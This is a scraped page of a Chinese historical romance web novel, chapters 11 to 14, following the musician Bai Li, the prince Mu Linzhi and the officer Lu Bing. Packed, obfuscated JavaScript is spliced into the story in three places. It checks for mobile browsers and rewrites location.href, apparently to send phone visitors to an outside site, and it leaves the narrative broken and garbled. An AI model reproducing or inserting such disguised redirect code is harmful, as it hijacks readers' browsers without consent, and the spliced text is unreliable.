d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不用担心,我会命人守在这里,一有风吹草动,你可以通过他们告知于我。” “奴家省得了。” “好。”牧临之看着她,笑道,“怜月姑娘,那就麻烦你了。” 怜月怔住,心想若是能够被这样的笑容一直注视着,就算是立时死了也没什么。她心里暗暗发誓,一定要圆满完成公子交代给自己的任务,不惜一切代价。可是她没想到,几天后一个浑身血淋淋的不速之客出现在雅间时,差点吓得她丢了半条命过去!不过这些都是后话了。 安排好了怜月,牧临之独自坐下,打了个响指,便有一道身影神出鬼没地出现在了他身边。 “长图,你留在这里,监视着望春楼的一举一动。” “公子是怕陆禀还会再来?” “如果他迟迟抓不住他们,你觉得,他第一个会怀疑谁?”牧临之道,“当然,我已经给了他诱饵,也不怕他怀疑。” “属下知道了。” “对了,还有一事,我要你速速去办。” “跟着刚才那白姓女子,护送她回去。” 长图一愣,脱口问道,“回哪儿?” “废话。”牧临之一哼,“当然是郡公府了。” 她以为她易了容貌,他就认不出她来了? 他正一筹莫展,不知去哪里寻她之时,她却又像是天外飞仙一样,出现在了他的面前。 真真是踏破铁鞋无觅处,得来全不费工夫。 牧临之眉眼舒展,懒懒靠在罗汉床上,整个心情都变得松快起来。 这一趟江南之行,看来是越来越有意思了。 11. 第 11 章 夤夜,陆禀拿着一本书,慢慢翻阅。 书的封面上写着四个大字,《溪山游记》。 作者是临鹤闲人。 临鹤闲人的大名,他有所耳闻,算是如今文人学士里崛起的新人物。不过关于此人的其他信息,甚为模糊,就连擅长追踪的他也是知之甚少。 不过陆禀此刻的注意力不在这个临鹤身上。 他在想着白日里那个看到自己惊慌失措的妇人。 他自诩过目不忘,对人的面孔看一遍就能记牢,但是白日里的那个妇人,他自问从来没有见过。 可是她显然认识自己,还对自己避如蛇蝎。 或许这本书就是线索。 陆禀将这本书收好,暂且搁置一边,出了书房,走近一间暗室。 陆禀在姑苏的宅院很大,这间暗室被他专门腾了出来,用于审讯疑犯。 几个属下守在门外,见陆禀走进,纷纷向他揖首,“大人。” “人怎么样?还是不肯说吗?” 属下摇头,“此人是个软骨头,我们随便招呼了他几下,他便什么都招了,不过……他好像,确实与那群人没什么关系。” 陆禀默然,一个人踏进了暗室。 地上的人见陆禀进来,连忙跪爬到他脚边,仿佛抓住了救命稻草,涕泪涟涟,“大人!求求你放了我,你要什么,我都给你!我真的跟他们不是一伙的!大人救救我!” “你说,你最后看到他们,是在缘福客栈,对吗?”陆禀负手而立,问道。 “对,对对!他们只是在我这里买了些东西,随便说了几句话就走了,大人明鉴,我真的不是什么暗桩啊!” 陆禀面无表情地俯视着地上苦苦哀求的人,神色平静无波。 这样狼狈又丑陋的模样,这几年里他已经看了无数遍。 可是鬼使神差的,他刹那间想到了另外一张脸。 五年前,那一张泪痕斑驳的玉面,花容月貌的少女伏在密室门口,求他放她一马。 她的眼里只有铺天盖地的恐惧和乞求,她一定是忘记他了。也是,她那样的名门贵女,若不是飞来横祸,恐怕一辈子都不会认识自己这样的小人物。 他却深深记得,花灯节的那一夜,豆蔻年华的少女掀起车帘,素手纤纤,朝他递过来一瓶金疮药,请他止血,对他温柔笑了笑,随后轻飘飘地消失在了星河夜色之中。 温家抄家之后,他有想过找她,然而那时的他位卑言轻,恐打草惊蛇,让她更加陷入危险之中,便生生忍下,等温家的事情终于平息之后,已是三个月之后。 三个月后,她已经不知所踪。 在火光中,那一双楚楚可怜、深深看着自己的泪眼,他一直记到了现在。 一如那时,鬼使神差之下,他忘却所有,松开了手。 “大人,我上有老下有小,要是我出了什么事,我的一大家子就要撑不住了,求大人高抬贵手,放我走吧!”凄厉的喊求声又拉回了他的思绪。 陆禀看了地上的男人一眼,冷声道,“你走吧。” 这个人确实没关系,没有任何拷问的价值。 男人听到陆禀要放了他,如听天音,不断叩头感谢,“多谢大人!多谢大人!” 陆禀不耐烦听下去,一脚踏出暗室,理了理箭袖,随口问下属道,“最近的郡公府,有什么动静?” “回大人,郡公府近来风平浪静,那个人寄住在那里,除了偶尔去秦楼楚馆转转,大多数时间都待在府里,没什么大事。” “替我去弄张郡公府的拜帖。” “大人想亲自去拜会?” 陆禀不语,默默回想着牧临之对他说的话。 那是告诫,也是暗示。 当今太后掌权,文羿升统领禁军,隐隐有权倾之势。 太后有意提拔金吾卫的权力,唯她一人的命令是从。 金吾卫与禁军分庭抗礼,互为辖制,渐渐势如水火。 他此次南下江南,任务艰巨,一旦失败,禁军必然得利,自己也将地位不稳。 首先横亘在他面前的牧临之,便是一个不小的挑战。 这次的逆党之事,背后与他定脱不了干系。 看来日后与这位小郡王的交锋,还会不少。 . 同一个夜。丹樱不断把弄着白荔送给她的胭脂,爱不释手,嘴上却抱怨道,“阿荔,以后再出去采买,就不要破费了,你的心意我领了,但阿公的药也是你花的钱,你的银钱还是慢慢攒起来吧,留给自己用。” 白荔浅笑一声,“姐姐喜欢就好。一点小钱,无碍的。” “那就谢谢你啦,我很喜欢呢。” 阿公的药和阿姐的胭脂都拿了回来,只是那本《溪山游记》却不知落在了哪里。 可惜那一两银子了。 白荔暗自惋惜。 此次出府险象环生,白荔一时半会不敢再出门去,这几天一直待在院子里,外加照顾跛脚李。 跛脚李倚在床头,白荔正细心地吹温药汁,递向他的嘴边。 跛脚李配合地咽下药汁,看着她,欲言又止,“过几日……是你母亲的忌日了吧?” 白荔一愣,垂下眸,险些落下泪来,“……是。” “阿公还记得。” “记得,怎么会不记得。”跛脚李苦笑一下,眸光中闪过追忆和痛苦,“当初我闯荡长安,不知天高地厚,若不是被你母亲好心救下,恐怕还不知道烂死在了哪里,你母亲对我有知遇之恩,她……实在是个很好很好的人。” 白荔沉默。 她不清楚母亲与阿公之间的往事,她只知道当年阿公冒着性命危险将自己救出来,又毫无怨言地抚养自己到现在,期间种种,不是简简单单一个知遇之恩就能做到的。 不过跛脚李不说,她也从来不问。 “阿荔,过几天,你去祭一祭你母亲吧,连带着我的那一份。” 白荔颔首,“阿公,我省得的。” “一定要悄悄的,不要被别人发现,徒生麻烦。”跛脚李不放心地叮嘱,又开始剧烈地咳嗽起来。 “阿公!”白荔及时扶住她,担心地拍着他的胸口,“这阵子您明明都按时服药了,怎么还是不见好?” “没用的,这是老病,治不好的。”跛脚李喘着气,道,“或许不久后,我就要去见你的母亲了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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绿玉不死心,只盼着再来个什么曲水流觞,让她再见一见那公子。 说不定再见一面,他又想起了自己,又对自己产生兴趣了呢。 绿玉春心萌动,几乎到了茶饭不思的地步。殊不知那一日之后,秋音堂里的其他女子,也是存着跟她一样的心思,背地里蠢蠢欲动。 一个深夜,玉绡悄悄出了院子,来到了前院。 她想的很明白,她已经不年轻了,再过上两年,她就要二十岁,后面会有比她更优秀的嗓子来接替她,到那个时候,她的日子只会越来越难。 只能趁着这段日子,主动出击一把。 那一日出现的公子哥,个个意气风发,相貌堂堂,尤其是那个犹如画中仙人似的白衣公子,不过就算不是他,攀上其中任何一个,对她都是有益无害、飞上枝头的大造化。 她计划的很好,准备先打探一下郡公府的位置,熟悉了贵人们的住处,再“巧妙”地来个才子佳人的浪漫偶遇。 玉绡夤夜独行,穿过几道假山,突然,她看到一处岔路口,隐隐燃着火光。 她悄悄停下,顺着树隙看过去。 有人跪在地上烧纸。 瞧那身影,是一个女子。 深更半夜的,是谁敢如此大胆? 12. 第 12 章 那女子在哭。 火光映着她湿漉漉的半张侧脸,许是怕被人发现,她哭的很小声,肩膀在隐忍抖动着。 玉绡盯着有些眼熟的背影,不动声色地走过去,发现那人好巧不巧,竟然是白荔。 玉绡一愣。 她素来看不惯丹樱,连带着也不喜欢白荔。 奈何后者一直小心谨慎,不曾让她抓到什么把柄。 这叫什么来着,有心栽花花不开,瞎猫碰上了死耗子! “白荔!大半夜的,你在这里做什么!你好大的胆子!” 今日是亡母忌日,白荔拿着悄悄买的黄纸,一个人跪在月下,偷偷为母亲烧纸。 她正哭的悲切,没想到深更半夜却招来了别人。 她泪眼一惊,看着气势汹汹朝自己走过来的玉绡,本能地起身想要逃走。 “你站住!”没想到,玉绡的速度比她更快,急急几步追上了她,一把将她拽住。 “白荔,你做贼心虚的跑什么?深更半夜的,你晦气不晦气啊!” 手腕上的力道箍的生疼,白荔慌了,连忙道,“姐姐……今日是母亲的忌日,我思念亡母,这才犯下了错事,姐姐就饶我这一回好不好?” 玉绡紧紧地抓住她,“说得好听!你到底是烧你的老娘,还是咒这里的主子,谁又知道呢?” 白荔忙道,“姐姐说我深更半夜偷偷摸摸的,那么姐姐深夜独自出来,又是在干什么呢?” 玉绡一顿,莫名心虚,随即大声囔道,“你管我呢!我告诉你,今日你算是栽在我手上了,跟我去见班主!” “姐姐若是执意不肯放过我,那妹妹只能说姐姐深夜里私会外男,败坏风气!” “你说什么?”玉绡气晕,“白荔,你敢污蔑我!” “是姐姐不肯放妹妹一条生路,我只能如此了!” “你!”玉绡气不过,两人拉拉扯扯,扭在一起。 突然间,一道尖锐的声音划破长夜,在黑夜里格外渗人。 玉绡停下,被这鬼一样的怪声吓出了一身冷汗。 她谨慎地看了眼四周,咽了咽口水,松开白荔,害怕道,“行了,我不管你了,你就自己在这儿吧。”说罢急急跑路,留白荔一个人在这里。 白荔被措手不及地丢下,也是心惊胆战,一道灵活的黑影突然闪到她身边,她吓得闭上双眼,差点尖叫出声,那黑影却急忙抬起头,在月色下露出一张稚嫩面孔、雪白牙齿,“姐姐别怕,是我!” 白荔看到眼前人,转惧为喜,惊道,“阿豮,你怎么在这里?” “我听到这里有动静,便过来看看。姐姐,我已经把那个坏女人赶跑了,你别害怕。” 白荔有些感动,摸了摸他的头,“谢谢你。” 被美人姐姐摸了头,阿豮一阵脸红,他握了握小拳头,信誓旦旦道,“姐姐,你放心,阿豮绝对不会让别人欺负你。” “……好孩子。”白荔笑着点头,又柔声道,“不过,你有这份心就够了。你还是个孩子,任何时候都要记得先保护好自己,知道吗?” “阿豮记下了。” 白荔蹲在地上掩盖黄纸香灰的痕迹,以免第二日被人发现,阿豮凑上前帮她,小心翼翼地觑了她一眼,“姐姐……你也有家人去世了吗?” 白荔手上不停,平静道,“我的家人都去世了。” 阿豮震惊。 原来这位美人姐姐和他一样,都是父母双亡的苦命人。 自他的爹娘去世之后,他就再也没有穿过新衣裳,那点心也是他这么些年来,吃的最好吃的点心。 这位姐姐是府上对他最好的人,他记在心里。 阿豮眼神坚毅,幼小的心中油然而生一股信念。 他想要保护这位美人姐姐,不让她伤心难过。 “阿荔!阿荔!” 有人在黑夜里小声唤着她的名字,追了过来。 是提灯而来的丹樱。 看到完好无恙的白荔,丹樱松了一口气,“你没事就好。我回去看你不在屋里,又听到这里有动静,过来看看,果然你在。” 她“咦”了一声,“小孩,你怎么也在这儿?” 白荔于是将祭母被玉绡撞见,阿豮又吓退了玉绡的事简单讲了讲,丹樱听完,很是惊奇,“没想到你看上去瘦不拉几的,还有这样的胆识,做的好!姐姐明天给你糖吃。” 阿豮又不好意思地笑着摸了摸头。 有了丹樱,白荔便与她先送了阿豮回去,两人再携手提灯,顺着月色一路前行。 “阿荔,你早说呀,今日是你娘的忌日,我也该来拜上一拜的。” 丹樱有些后怕,又道,“不过在高门宅院里偷偷烧纸,实在是不吉利,幸好阿豮把玉绡吓跑了,要不然还不知道生出什么乱子来。” “你的娘,一定很漂亮温柔吧?才生出了这样的你。” 不像自己,十岁的时候,为了好赌的爹和幼小的弟,柔弱的娘哭着看着自己,还是把自己卖了出去。 白荔默默怀念着母亲,她的母亲确实是长安数一数二的贵妇人,素有美名。 然而她的结局也实在惨烈。 两人一路回到屋子,白荔插上门闩,丹樱拿出药膏,替白荔擦在手腕处。 白荔肤白胜雪,肌肤娇嫩,被玉绡那么大力攥住,此刻手腕早就生了一圈红痕。 白荔看着烛光下细心为她抹药的丹樱,心中感动,柔声道,“姐姐,是我行事不周,害你担心了。” “说什么呢?你没事就好啊。” 白荔看着丹樱,脸上的笑意又慢慢淡去。 “姐姐,你今夜……去了哪里?” 她出门祭拜时,丹樱就不在屋中,此刻看她衣着严整,还是白日模样,显然也是刚回来。 好像自从生辰宴之后,丹樱就神出鬼没的,经常半天见不到人。 丹樱面色一僵,慢慢抬起头。 被她戳穿,她索性放下药膏,坦然地笑了笑,握住她的手,“阿荔,你无需问这么多,你只需知道,咱们和阿公马上就有好日子过了。” 白荔隐隐一惊,“姐姐,你不要做傻……” 丹樱打断她,“阿荔,你信不信我?” 白荔看着丹樱烛光下灼灼的眼睛。 片刻后,她慢慢垂下羽睫,终究将唇边的话咽了下去。 她点点头,“……我信。” 丹樱握紧她的手,似是长舒了一口气,“阿荔,有你这句话,就够了。我就知道你是信我的。” “两日后郡公府又设了宴,你会去的吧?” 白荔心中隐隐不安,胡乱点头道,“去的。” 她已旷病多日,不能再不去了。 “好,你去就好,到时我们姐妹两人联手,必定能够艳压群芳。” 丹樱真挚地看着她,“阿荔,有你在,我才能心安。” 白荔心情复杂,想说的话有很多,可是看着丹樱此刻的神色,终究是什么也说不出口,只能勉强扯着唇角,对她笑了笑。 …… “她怎么来了?” “说是上头专门点名让她来的,真是好大的脸面,不会是被哪个看上了吧?” “人家三天两头缺席,这都能行?” “要不说人家有本事呢?换成你我,哪能有这等好事?说不定就是趁着装病的这几天,早已勾搭上了主子,攀上高枝了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457512|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “说的也是。” 蝉鸣阵阵,绿树成荫。白荔抱着琵琶,静静坐在抱厦下,听着周围对她的议论纷纷。 “有空在这里嚼舌根,不如好好准备准备,等会要是哪个掉了链子,就罚一个月的月钱!”墨末环视一周,低声警告,立刻换来鸦雀无声一片。 看着终于安静下去的四周,墨末这才舒心,凑近白荔,对她小声道,“阿荔妹妹,这些碎嘴子的话,你别放在心上。” 温热的呼吸打在耳边,白荔不动声色地侧了侧脖颈,平声道,“……多谢副班主。” 今日宴会是郡公世子李皋的私宴,只邀请了少数好友。日跌,太阳偏西时分,众人才开始悠悠演奏。 半柱香过后,几位世家公子纷至沓来,双目炯炯有神,额头泛着一层晶莹汗珠,显然是刚刚打马归来。 众人路过抱厦,目不斜视,“听说李兄最近新得了卢大家的《浮光山水图》,我等心痒难耐,必定要一窥真容!” “李兄果然藏宝丰厚,不过我听说,这《浮光山水图》可是某人割爱所赠。” “哦?竟有此事?” “喂!你们等一等我!”叶桂霖捡起掉在地上的香囊,起身时,余光略过一抹白色,看到了抱着琵琶垂眸弹奏的白荔,惊了一声。 “咦?” “这个白衣美人,我怎么从未见过?你是哪个?” 走在前面的众位公子听到此话,纷纷停下。 丹樱向前一步,忙替白荔打起圆场,“回公子,此女名叫白荔,是我秋音堂的乐师,前阵子受了风寒,这才没有露面,请公子见谅。” 叶桂霖看到丹樱,“你又叫什么?” “回公子,奴婢名叫丹樱。” 叶桂霖看看丹樱,又看看白荔,眸光泛起一抹惊艳,朗笑道,“红妆白璧,各有风采,不错不错。” 丹樱一喜,欠身行礼,“多谢公子谬赞。” “你是乐师?”叶桂霖又盯着相对安静的白荔,对她燃起了兴趣,“都会弹什么曲子?弹一曲给小爷听听。” 白荔垂眸,淡淡道,“但凭公子吩咐。” “这么大的口气!那好,都道《霓裳羽衣曲》最是考验技艺高下,那你就弹一曲《霓裳》吧。” 叶桂霖又看了一眼丹樱,指了指,“你的舞跳的不错,就给她伴舞吧。” 丹樱点头称是。 白荔抱着琵琶行礼,随后抚裙而坐,心如止水,专心弹奏。 琵琶声犹如珠落玉盘,胡女高歌,又如层层浪潮,裂帛激越,与生辰宴上那绿衣女简直天差地别。 几位公子被乐声镇住,连手底下的事都忘了,纷纷不约而同地坐在小亭下,专心致志地欣赏起美妙的歌舞。 “贤弟果然眼光独到,这两个是这群人里生的最好的,尤其是这红衣女,舞姿翩翩,颇有飞燕风采!” “我倒是觉得这弹琵琶的白衣女更胜一筹,有杨妃遗风。” 李皋不知怎的,声音有些不悦,“几位什么意思,难道还垂涎上了我府里的人不成?” “哎?李兄,不然不然,自古赠妾都是一桩雅事,何况她们只是优伶而已,难道李兄还不肯割爱?” 李皋神色悠悠,难得没有搭话。 正在此时,忽闻远远一高处小亭传来笛声,与琵琶交相呼应。 众人一惊,全部被这轻灵悠扬的天外飞音慑住。 专心弹奏的白荔听到这一道笛声,一顿。 只在须臾之间,她便敛下心神,轻拢慢捻。 笛声婉转,如风过竹隙,与激烈清越的琵琶无缝结合,巧妙地达成了一种行云流水的效果,穿过闷燥的午后,无端令人感到一阵清凉。 13. 第 13 章 白荔指下生风,心中渐渐升起一股久违的激荡。 乐师大多孤高自傲,追求技压群座,谁也不肯为谁作配,这就导致一场合奏下来瑜不掩瑕,很难做到百花齐放。 而此笛声不同,无需她费心,它便会主动来配合自己,而自己某些节拍的迁就,它也能准确地识别到,与她衔接互补,和谐相处。 这么多年了,她还从未遇到与自己如此契合的乐声。 这笛声的背后,必是一个高人。 一时之间,金石相击,丝竹和鸣,秋音堂的众人听到这段合奏,也都惊为天人,所有人都沉浸在了美妙的乐声中,忘记了说话。 笛声越来越近,像是从天外落到了人间,众人怔怔间,便见一位手持玉笛的翩翩公子越走越近,直至来到抱厦下。 白荔专心弹奏,完全沉浸在了自己的世界里。 等到一曲终了,她双手离弦,这才抬起头,看向眼前的来人,微微错愕。 又是他。 余音袅袅,所有人都沉迷在这段乐声中,半天缓不过神来,牧临之利索地收起玉笛,笑吟吟地走向她,在她的面前停住,“姑娘的琵琶精妙万分,在下佩服。” 说实话,白荔是打心眼里不想再见眼前的这个男人。 这阵子,她有意无意,顺着秋音堂众人的八卦,打探到了如今这位高高在上的小郡王殿下。 她们说这位小郡王性情随性不羁,风流之名满天下。 多少贵女为了他茶饭不思、整日恍恍惚惚吟诗作赋,制造了多少偶遇只为了见他一面,又有多少花魁胡姬为了他大打出手,费尽心思只为博他一笑……期间种种,不一而足。 白荔想起与他之前见的那几面,深以为然。这样的纨绔公子,她避之不及。而且最要命的是,她与他之间还不止萍水相逢这一点交情而已。 她压根就不想让他认出自己。 白荔垂着头,默默地往后退了一步,声音平平,“公子谬赞。公子笛声精湛,如余音绕梁,更胜一筹。” “是吗?”牧临之一笑,将玉笛放在手心敲了敲,声音如同漱雪鸣泉,“姑娘如此夸赞,实在是我的荣幸。” 几位公子随之赶来,大为赞赏,“好啊!好啊!子衿兄的技艺又精进了,这位白姑娘的琵琶也是一绝,你们两人合奏,实在是珠联璧合,如听仙音啊!” 白荔弯了弯唇,浅浅致谢。 余光中,牧临之又朝她走近一步。 她心中一紧,垂下眼,下意识又往后一退。 出乎意料的,牧临之没有靠近她,而是与她擦肩而过,来到了墨末面前。 他随手拿起墨末手里的萧管,颠了颠,评价道,“这是安吉紫竹的,不错。” 被贵人注意到,墨末有些激动,忙上前一步想要搭话,牧临之却又往前走去,头也不回,一甩手将萧管重新丢给了他,“可惜,材质虽好,终究失了灵性。” 墨末措手不及地接住萧管,差点绊倒,样子颇有些狼狈。 牧临之又走到一旁的玉罄旁,拂袖坐下,随便敲了几下,“这是岫岩玉的。” “不过,清脆有余,浑厚不足。” 评价完之后,他摇了摇头,又放下玉罄,把浮山手里的奚琴拿了过来,弹奏了起来。 在场所有人看他旁若无人般游戏其中,皆面露笑意,无一人上去打扰。 到了最后,他将在场乐器全部拨弄了一圈,这才重新走到了白荔面前。 “姑娘可善琴?”他问她。 白荔低眉垂眸,平静道,“奴婢不会。” “琴为四艺之首,琵琶与琴同属曲弦,殊途同归,姑娘的琵琶炉火纯青,想必琴技更是不在话下。” 白荔的琴确实比琵琶更加娴熟,在外便以琴师之名活动,但是她此刻无心卖弄,只垂着眼,淡淡道,“奴婢并不善琴,请公子恕罪。” 牧临之看着她,似笑非笑,“是吗?那还真是可惜。” 叶桂霖见白荔生的貌美,起了怜花之意,忙出来劝和,“好了好了,子衿兄,人家都说不会了,你就不要为难她了,这样吧,今日难得雅兴,咱们来玩“击鼓传花”的游戏,怎么样?” 所谓击鼓传花,就是一人蒙眼击鼓,众人站成一排,拿到了花就传给下一位,鼓声停止,花在谁的手里,谁就要赋诗或者表演才艺,若是都不会,便只能罚酒。 此建议迅速得到了众人赞成,有人又提议道,“我看子衿兄就免了吧,若是他出场,还有我们的什么事?我看子衿兄就替我们击鼓去吧。” 下人眼疾手快,不消片刻便将整朵荷花呈了上来,荷花是刚从湖里摘的,上面还带着新鲜的露珠。 秋音堂的人还是第一次与世家公子这般亲近,每个人都按捺着内心的激动,偏生面上都表现的云淡风轻,端出几分矜持。 只有白荔,如坐针毡,恨不得立时找个借口退下,可是一旁的丹樱跃跃欲试,还紧紧抓着她的手不放,她也只能硬着头皮撑着,夹在众人之中。 牧临之慵懒坐在地毯上,双眼被人蒙上一块白绸,更显得鼻梁挺拔,薄唇优美,平日里轻佻不羁的模样隐去,此刻颇有种温雅禁欲的感觉。 他的怀中抱着现成的细腰鼓,修长的大手放在鼓面上。 李皋见此景,笑道,“此情此景,倒是颇有“羯鼓声高众乐停”的情致。” 牧临之薄唇一翘,懒懒道,“各位,准备好了吗?我要开始了。” 鼓声开始,才子佳人们站成一排,手里的荷花飞快传递起来,既怕自己会拿到荷花,又怕荷花没有落到自己手上。 很快,鼓声停止。 第一轮,荷花落到了叶桂霖的手上。 “我先来便我先来!”叶桂霖豪迈一笑,“今日难得高兴,小爷我那就吟诗一首吧。” “叶弟,就你肚子里的三两墨水,还是别出来卖弄了吧?” “哎呀要你管!你尽管出题。” 魏成择于是便以花草树木为题,令他赋诗一首。 叶桂霖环视一周,目光落到庭中的槐树上,心中有了思量,清了清嗓子,自信万分道,“庭院一老槐,高耸入云中。” 话一出口,引起众人大笑。 叶桂霖不服气道,“别笑别笑,你们就告诉我,这算不算诗。” “算算算!”魏成择忍俊不禁,“好了,既然诗赋完了,那就下一轮!” 第二轮,轮到了李皋,他选择作诗。 依旧以树为题,他略一思忖,缓缓道,“武昌无限新栽柳,不见杨花扑面飞。” 吟完后,他的目光落向秋音堂众人,俊目流转含情,不知道在看向谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461904|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好诗,好诗!”叶桂霖拍手称好,还不忘给自己找补,“不过比起我的还是差了那么一点点。” 果不其然,又引起了众人大笑。 气氛被叶桂霖点燃,一时变得热闹起来。秋音堂众人也纷纷跟着笑,笑声清脆悦耳,传在白荔的耳中,渐渐多了几分放松之意,甚至在叶桂霖频繁闹洋相时,她也轻轻珉唇,跟着笑了笑。 牧临之蒙着双眼的俊脸朝她的方向看过去,唇角一弯。 白荔心中忐忑,生怕这荷花会落到自己手上,然而期间又经过了几轮击鼓,直到墨末吹箫、魏成择击筑而歌、几位公子又陆陆续续赋了几首诗后,仍是没有落到她的头上。 她心中庆幸,默默松了一口气。 叶桂霖对白荔颇为上心,不满美人始终没有出头,于是走到牧临之跟前,将他怀里的鼓一把抢了过来,扶他起身,“好了好了,子衿兄,哪有让你一直坐着的道理,你去玩吧,我来击鼓。” 牧临之由着他解下自己蒙眼的白绸,慵懒道,“说吧?你又在打着什么坏主意。” 叶桂霖丝毫不怕他,不由分说将他推入人群中,笑吟吟道,“小弟都是为了子衿兄好,子衿兄怎么还倒打一耙呢,真是令人伤心。” 白荔默默站在一旁,对牧临之的入场起了些波澜,余光中突然出现了一道白色镶金的衣角,那人竟是懒洋洋来到了自己身边。 白荔一惊,忍不住抬起头,朝他看过去。 岂料牧临之也在看她,两人视线对视,俊美的公子冲她挑了挑眉,勾唇一笑。 白荔连忙低下头去,心乱如麻。 他这是什么意思? 难道他认出了自己? 鼓落到了叶桂霖手里,在他的吆喝声中,击鼓声很快又开始了。 荷花重新紧张又欢乐地传递起来,白荔心里乱乱的,反应不知不觉就慢了下来,等到她反应过来的时候,荷花正好落在了她的手里。 她回过神来,又惊又怕,然而此时递出去已经来不及了。 叶桂霖心中一喜,大喊,“停!” 电光石火间,一只修长大手伸了过来,从她手里迅速拽走了荷花。 击鼓声在这时停止。 众人愣住。 好巧不巧,荷花正好一人一边,落在了牧临之和白荔两人的手上。 李皋惊奇道,“嗯?这是什么情况?” 白荔不知所措,抬起头,茫然地看向牧临之。 牧临之也在看着她,似笑非笑,“看来我与白姑娘,实在是有缘之人。” “不过,”他一顿,从容地从她手里拿过荷花,对众人道,“不劳白姑娘,这一局,还是我来吧。” “好啊。”李皋最先看出其中关窍,笑道,“你既怜香惜玉,那我便顺水推舟,送你这个人情。” 他看了一眼慌张的白荔,又看了看牧临之,目光在两人身上打转,意味不明地笑了笑,道,“我看你与白姑娘皆穿一身白衣,此刻又一同举花,颇有些缘分,不妨你就以白色为题,再加上花草树木,赋诗一首吧。” 牧临之轻声一笑,“这有何难。” 他脱口而出,道,“白雪凝琼貌,桃夭点绛唇。” 白荔一怔。 随即,她低下头去,手指蜷起,玉面慢慢红了。 14. 第 14 章 李皋抚掌,朗声大笑,“好啊!好!不愧是子衿。” 他还看热闹不嫌事大似的,问白荔道,“白姑娘,子衿兄为你赋的诗,你可喜欢吗?” 白荔进退两难,忍住脸上红晕的羞臊,小声道,“……公子才华斐然,实在令奴婢钦佩。” “哦?仅仅是钦佩吗?”李皋追问,“我看子衿对你可是文思泉涌,颇为上心啊。” 白荔讷讷不语。 “不好不好!哪里好了?” 叶桂霖急了,跳出来打岔,“既然是一同举花,那便合该一同受罚,子衿兄你万不可如此偏袒,此局本就应是白姑娘的!白姑娘,你说是不是?” 白荔看着叶桂霖盯过来的灼灼视线,恐继续争执下去,自己终会成为众矢之的,又想快点了结现在的尴尬局面,于是欠身一礼,遂了他的意,淡淡道,“公子说的是,既然如此,那奴婢再奏琵琶一曲。” “不不,你不要弹琵琶了,我不想听。”叶桂霖急忙阻止,看着白荔,突然没头没脑地笑了笑,问了一句,“不如我们换一个花样,白荔姑娘,你会不会跳舞啊?我想看你跳舞。” 刚才的一曲霓裳羽衣,他听得如痴如醉,心想眼前的女子颇有杨妃风采,若是能够一舞的话,又不知能得杨妃的几分神韵? 白荔一愣,不知所措地僵在原地。 她虽从小熟习四艺,对于跳舞却并不熟悉。 母亲总说唱曲跳舞太过轻浮,不是贵女所做之事,只许她学习琴师书画、熟稔世间乐器,却唯独不许她唱曲跳舞。 且不说她真的不会跳舞,叶桂霖此时此刻对她的要求、对她说话的语气,是真真正正把她看成了供人取乐的玩意儿。 优伶之身卑贱如纸,她如今再无自恃清高的资格,沦落几载,早就有了自知之明。 然而此时此刻,在众目睽睽之下,被这样当众要求,她还是感到了一丝难堪。 白荔咬了咬唇,沉默着。 她的心情五味杂陈,不知如何应对,身边的男人却先替她开了口。 “她不会。”牧临之道。 “嗯?你们这些优伶不是都能歌善舞吗?哪能只会一样技艺啊?”叶桂霖此刻早把劝牧临之的那一套忘到了九霄云外,“白姑娘,你就发发慈悲,行行好,跳个舞给我们看看,好不好啊?” 白荔垂下头,硬着头皮,拒绝道,“公子恕罪,奴婢实在不会跳舞。” “我不……”叶桂霖还想继续纠缠,忽而感到一道略带凌厉的视线直直看向自己。 牧临之在看着他,平日里笑意吟吟的一双凤眼消失不见,略有些冰冷地刺向他,带着令人如芒刺背的压迫感。 “……好吧。”叶桂霖一阵心虚,话锋一转,干巴巴道,“你既不愿,那就再弹一曲琵琶吧。” 白荔松了一口气,颔首应下,抱着琵琶席地而坐。 “等等。” 这次,轮到牧临之叫住了她。 白荔暗暗一惊,心想他又要出什么幺蛾子,却听身边的男人懒懒道,“长林,去把我的环佩取过来。” 长林应了一声,领命去了。 等待的时候,叶桂霖想起牧临之刚才看他的眼神,只觉背后一阵阴风吹过,心中暗暗侥幸。 都倒这位小郡公性情落拓不羁,毫无架子,上到王卿贵族,下到贩夫走卒,皆能随心交友,来者不拒,最是个好脾气之人。 这阵子与他相处的太自在,忘乎所以,他都差点忘了,他身上可是流着牧家的血,与他这种皇商人家不同,是他绝对惹不起的大人物。 若是惹他发怒,还不知道是什么光景。 不过,子衿兄若是发起火来,到底会是什么样子的呢? ……还挺好奇的。 片刻后,长林归来,抱来了一把通体深色的琵琶。 “名琶配美人,姑娘技艺高超,这环佩便送你了。” 不光白荔吃惊,李皋等人也瞪大了双眼,“子衿,这不是郡王送给你的生辰礼吗?你这般舍得?” “有何不舍得?死物而已,放在我这里也是暴殄天物,倒不如送给有缘人。” 